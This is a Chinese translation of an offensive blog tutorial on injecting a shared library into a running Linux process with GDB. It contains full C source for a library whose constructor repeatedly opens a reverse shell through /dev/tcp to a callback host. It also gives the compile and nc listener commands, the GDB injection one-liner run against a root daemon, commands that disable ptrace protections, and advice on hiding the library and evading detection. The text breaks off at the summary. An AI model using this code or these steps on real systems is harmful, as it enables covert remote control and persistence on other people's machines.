原文:https://magisterquis.github.io/2018/03/11/process-injection-with-gdb.html

在本文中,我们将为读者介绍如何在Linux中轻松实现进程注入的方法。目前,网上流传的进程注入技术,通常都会用到ptrace(2)LD_PRELOAD,但是这些都无法满足我的要求,因为我想要使用一些更简单、更不容易出错的技术,当然,易用性可能是以灵活性、工作效率和通用性为代价的。接下来,我们将为读者讲解如何通过GDB和共享对象文件(即程序库)来实现进程注入。

GDB是一种GNU调试器,常用于“逮住”一个正在运行的进程以进行调试,同时,它还提供了一个有趣的特性:可以让处于调试中的进程调用库函数。为了将程序库加载到程序中,可以使用下面两个函数:liblo的dlopen(3)函数和libc提供的libc_dlopen_mode函数。在这里,我们使用的是libc_dlopen_mode,因为它不要求为主机进程链接libdl。

原则上,我们可以先加载程序库,然后让GDB调用其中的函数。但是,更简单的做法是,使用另一个线程通过程序库的构造函数来完成需要手动执行的所有操作,以将进程的“停摆”时间降到最低。

注意事项

需要注意的是,虽然本文介绍的方法简单易用,但是凡事有利就有弊——它在灵活性、通用性和注入方式方面存在一些限制。当然,在实践中这些都不是什么大的问题,不过,下面几个事项还是需要认真对待的。

ptrace(2)

为了附加进程,我们需要使用ptrace(2)来,换句话说,我们需要用到GDB。一般来说,超级用户通常可以做到这一点,但作为普通用户,我们只能附加到隶属于自己的进程上。为安全性起见,有些系统只允许进程附加到其子进程上,对于这种情况,虽然可以通过修改sysctl取消这种限制,但是,要想修改sysctl的话,则要求具有root权限,所以这种方式在实战中意义不是很大。

sysctl kernel.yama.ptrace_scope=0
# or
echo 0 > /proc/sys/kernel/yama/ptrace_scope

一般来说,最好以root身份执行上述操作。

“停摆”的进程

当GDB连接到一个进程时,该进程就会停止运行。因此,最好事先编好脚本,让脚本来执行相应的GDB的操作,并使用-x和--batch选项,或联合使用echo和GDB命令,以最大限度地减少进程的停止时间。如果由于某种原因,GDB在退出时没有重新启动进程的话,那么可以向进程发送SIGCONT信号,这样就可以重新启动该进程了。

kill -CONT <pid></pid>

进程之死

程序库一旦加载并运行后,任何能够导致该库出错的东西(例如segfaults)都会影响到整个进程。同样,如果程序库向output文件写消息或将消息发送到syslog的话,显示的消息来源为进程,而非程序库。所以,利用注入的程序库作为加载程序,然后在新进程中启动真正的恶意软件是一个非常不错的方法。

进入正题

介绍完需要注意的事项之后,下面进入正题——如何利用GDB实现进程注入。我们假设这里是通过ssh访问目标系统的,但从理论角度来说,这些过程都可以(应该)实现脚本化,然后通过shell/sql/文件注入或任何其他方法运行这些脚本即可。

选择进程

第一步是找到要注入的进程。为此,可以查看进程列表,具体命令如下所示:

root@ubuntu-s-1vcpu-1gb-nyc1-01:~# ps -fxo pid,user,args | egrep -v ' \[\S+\]$'
  PID USER     COMMAND
    1 root     /sbin/init
  625 root     /lib/systemd/systemd-journald
  664 root     /sbin/lvmetad -f
  696 root     /lib/systemd/systemd-udevd
 1266 root     /sbin/iscsid
 1267 root     /sbin/iscsid
 1273 root     /usr/lib/accountsservice/accounts-daemon
 1278 root     /usr/sbin/sshd -D
 1447 root      \_ sshd: root@pts/1
 1520 root          \_ -bash
 1538 root              \_ ps -fxo pid,user,args
 1539 root              \_ grep -E --color=auto -v  \[\S+\]$
 1282 root     /lib/systemd/systemd-logind
 1295 root     /usr/bin/lxcfs /var/lib/lxcfs/
 1298 root     /usr/sbin/acpid
 1312 root     /usr/sbin/cron -f
 1316 root     /usr/lib/snapd/snapd
 1356 root     /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
 1358 root     /usr/lib/policykit-1/polkitd --no-debug
 1413 root     /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
 1415 root     /sbin/agetty --noclear tty1 linux
 1449 root     /lib/systemd/systemd --user
 1451 root      \_ (sd-pam)

在列出的这些进程中,有一些不错的选择对象。在理想情况下,最好选择那些需要长期运行进程,因为这些进程通常不会被人终止。一般情况下,选择的进程的pids值越低越好,因为这个值越低,代表运行的时间越早,换句话说,没有人知道这些进程一旦被杀死会出现什么后果。另外,在进行进程注入的时候,最好以root身份进行,这样就不用担心权限不足的问题了。当然,最理想的注入目标就是那些既没有人想要终止它,而杀死它也不会带来任何影响的进程。

在某些情况下,如果注入的代码只需要运行很短的时间(例如检测输入框,获取凭证然后离开),或者如果大概率需要以很艰难的方式停止的话,那么以普通用户身份运行、运行时间较短的、可杀死的进程就是不错的注入目标。所以,我们要根据具体的情况进行取舍。

本例中,我们将使用664 root/sbin/lvmetad -f。因为我们想做的任何事情,都可以借助它来完成,并且如果出现问题,也可以重新启动它,所以用起来还是很方便的。

恶意软件

实际上,我们几乎可以注入任何的Linux共享对象文件。作为演示,这里将使用一个小文件,但我曾经注入过一个大小为好几M的后门软件(用Go编写)。需要说明的是,本文中的许多操作都是借助pcapknock完成的。

此外,为简洁起见,很多错误处理已被忽略。现实中,要想从注入库的构造函数获得有意义的错误输出的话,直接使用warn("something"); return;是不太可能的,因为事情远没有这么简单,除非你完全信任受害者进程给出的标准错误信息。

#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>

#define SLEEP  120                    /* Time to sleep between callbacks */
#define CBADDR "<REDACTED>"           /* Callback address */
#define CBPORT "4444"                 /* Callback port */

/* Reverse shell command */
#define CMD "echo 'exec >&/dev/tcp/"\
            CBADDR "/" CBPORT "; exec 0>&1' | /bin/bash"

void *callback(void *a);

__attribute__((constructor)) /* Run this function on library load */
void start_callbacks(){
        pthread_t tid;
        pthread_attr_t attr;

        /* Start thread detached */
        if (-1 == pthread_attr_init(&attr)) {
                return;
        }
        if (-1 == pthread_attr_setdetachstate(&attr,
                                PTHREAD_CREATE_DETACHED)) {
                return;
        }

        /* Spawn a thread to do the real work */
        pthread_create(&tid, &attr, callback, NULL);
}

/* callback tries to spawn a reverse shell every so often.  */
void *
callback(void *a)
{
        for (;;) {
                /* Try to spawn a reverse shell */
                system(CMD);
                /* Wait until next shell */
                sleep(SLEEP);
        }
        return NULL;
}

简而言之,这样一来,每隔几分钟便会生成一个未加密的、未经身份验证的反向shell,并连接到硬编码的地址和端口。将attribute((constructor)) 应用于start_callbacks()后,它就可以在加载该程序库时运行了。所有start_callbacks()都会生成一个线程,以创建反向shell。

程序库与普通C程序的编译过程类似,只是必须给编译器提供-fPIC和-shared选项。

cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared

我们可以用-O2选项来优化输出,这样可以降低CPU时间的开销。当然,在现实情况中,注入的程序库肯定会比这个例子要复杂得多。

完成注入

现在,我们已经创建了可注入的程序库,接下来还有许多事情需要处理。首先要做的就是启动一个监听器来捕获回调:

nc -nvl 4444 #OpenBSD netcat ftw!

____libc_dlopen_mode需要两个参数,即程序库的路径和标志(实际上就是一个整数)。其中,程序库的路径是可见的,所以最好把它放到不显眼的地方,比如/ usr/lib。此外,这里将使用整数2作为标志,因为这正好对应于dlopen(3)的RTLD_NOW。为了使GDB让这个进程运行该函数,可以使用GDB的print命令,以方便取函数的返回值。此外,不要将该命令输入GDB,因为这样太费时间,相反,我们可以将它回显到GDB的标准输入中。这样做的另一个好处是,它会引起GDB退出,这样就省得使用quit命令了。

root@ubuntu-s-1vcpu-1gb-nyc1-01:~# echo 'print __libc_dlopen_mode("/root/libcallback.so", 2)' | gdb -p 664
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
...snip...
0x00007f6ca1cf75d3 in select () at ../sysdeps/unix/syscall-template.S:84
84      ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) [New Thread 0x7f6c9bfff700 (LWP 1590)]
$1 = 312536496
(gdb) quit
A debugging session is active.

        Inferior 1 [process 664] will be detached.

Quit anyway? (y or n) [answered Y; input not from terminal]
Detaching from program: /sbin/lvmetad, process 664

检查netcat时,发现已经捕获到了回调:

[stuart@c2server:/home/stuart]
$ nc -nvl 4444
Connection from <REDACTED> 50184 received!
ps -fxo pid,user,args
...snip...
  664 root     /sbin/lvmetad -f
 1591 root      \_ sh -c echo 'exec >&/dev/tcp/<REDACTED>/4444; exec 0>&1' | /bin/bash
 1593 root          \_ /bin/bash
 1620 root              \_ ps -fxo pid,user,args
...snip...

很好,我们已经控制了另一个进程的执行流了。

如果注入失败,我们将看到$1 = 0,这说明__libc_dlopen_mode的返回值为NULL。

攻击踪迹

实际上,防御方可以从多个地方检测到这种攻击。就算我们将暴露的风险降到最低,但如果没有Rootkit的帮助的话,总是会露出一点尾巴的。当然,最好的隐蔽方式就是不要引起人们的怀疑。

进程清单

通过查看之前进程列表,读者会发现被注入恶意软件的进程还有一些子进程。为了避免这种情况,要么让程序库doule-fork出一个子进程来完成实际的工作,要么让注入的程序库完成受害进程内的所有任务。

磁盘文件

加载的程序库必须从磁盘上启动,这不仅会在磁盘上留下攻击痕迹,同时,程序库的原始路径也将暴露在/proc/pid/maps中:

root@ubuntu-s-1vcpu-1gb-nyc1-01:~# cat /proc/664/maps                                                      
...snip...
7f6ca0650000-7f6ca0651000 r-xp 00000000 fd:01 61077    /root/libcallback.so                        
7f6ca0651000-7f6ca0850000 ---p 00001000 fd:01 61077    /root/libcallback.so                        
7f6ca0850000-7f6ca0851000 r--p 00000000 fd:01 61077    /root/libcallback.so
7f6ca0851000-7f6ca0852000 rw-p 00001000 fd:01 61077    /root/libcallback.so            
...snip...

如果删除了这个库,字符串(deleted)就会被添加到文件名尾部(即/root/libcallback.so (deleted)),当然,这看起来确实有点怪异。不过,通过将该程序库存放到常见程序库(如/usr/lib)所在的目录,并将其名称改得正规一点的话,情况就会有所好转。

服务中断

加载程序库会不仅会暂停正在运行的进程,并且如果程序库引发进程不稳定的话,还可能会导致进程崩溃,至少会导致系统记录相应的警告消息(所以,请勿注入systemd(1)进程,因为这会引发段错误,进而导致shutdown(8),将机器挂起)。

小结

在Linux系统中完成进程注入其实非常简单,只需两步:

源链接

Hacking more

...